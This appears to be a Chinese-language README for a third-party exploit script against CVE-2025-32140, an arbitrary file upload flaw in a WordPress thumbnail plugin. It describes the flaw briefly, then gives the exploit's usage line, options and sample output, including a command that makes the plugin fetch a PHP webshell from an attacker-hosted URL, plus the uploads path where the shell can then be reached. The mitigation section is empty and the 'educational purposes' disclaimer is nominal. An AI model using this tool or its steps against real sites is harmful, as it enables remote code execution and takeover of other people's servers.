CVE-2025-32140 是 WordPress WP Remote Thumbnail 插件中的一个严重漏洞。该漏洞允许经过身份验证的攻击者(具有贡献者或更高权限)通过滥用一个接受未经过滤 URL 的功能缺陷,上传任意文件(例如 webshell)。
该插件未能验证所提供的 remote_thumb URL 中获取的文件类型或内容。这使攻击者能够将恶意的 PHP 文件(例如后门)保存到 /wp-content/uploads 目录中。
edit_post 能力的已验证用户)此 Python 脚本自动利用 CVE-2025-32140,执行以下步骤:
remote_thumb 参数构造并发送恶意请求。python CVE-2025-32140.py -u http://target.com/wordpress -un admin -p admin -uid 1 -pid 631 --shell http://attacker.com/shell.php
usage: CVE-2025-32140.py [-h] --url URL --username USERNAME --password PASSWORD --user_ID USER_ID --post_ID POST_ID --shell SHELL
Exploit For CVE-2025-32140 # By: Nxploited | Khaled Alenazi
options:
-h, --help show this help message and exit
--url, -u URL Target WordPress site URL (e.g., http://192.168.100.74:888/wordpress)
--username, -un USERNAME
Username
--password, -p PASSWORD
Password
--user_ID, -uid USER_ID
User ID (usually 1 for admin)
--post_ID, -pid POST_ID
Target post ID
--shell SHELL URL of the shell to be uploaded (e.g., http://attacker.com/shell.php)
[+] Logged in successfully.
[+] Cookies set successfully.
[DEBUG] Extracted _wpnonce: b4ef78e77d
[DEBUG] Extracted meta-box-order-nonce: 0c192fe62e
[DEBUG] Extracted closedpostboxesnonce: 52be514040
[DEBUG] Extracted samplepermalinknonce: 7b213c6597
[DEBUG] Extracted wprthumb_nonce: 45803ee312
[DEBUG] Extracted X-WP-Nonce: None
[+] Exploit POST sent successfully. Check your uploads directory.
By: Nxploited ( Khaled Alenazi ) | https://github.com/Nxploited
一旦利用成功,上传的 webshell 通常会存储在:
http://target.com/wordpress/wp-content/uploads/YYYY/MM/shell.php
将 YYYY/MM 替换为上传时的当前年份和月份。
为降低此漏洞带来的风险:
此脚本仅供教育目的使用。
作者对因使用此漏洞利用工具造成的任何滥用或损坏概不负责。
| 选项 | 别名 | 描述 |
|---|
--url | -u | 目标 WordPress 站点 URL(例如 http://target.com/wordpress) |
--username | -un | 具有文章编辑权限的 WordPress 用户名 |
--password | -p | 指定用户的密码 |
--user_ID | -uid | WordPress 用户 ID(管理员通常为 1) |
--post_ID | -pid | 要编辑的文章 ID(可以是草稿) |
--shell | 托管在攻击者服务器上的 PHP webshell 直接 URL |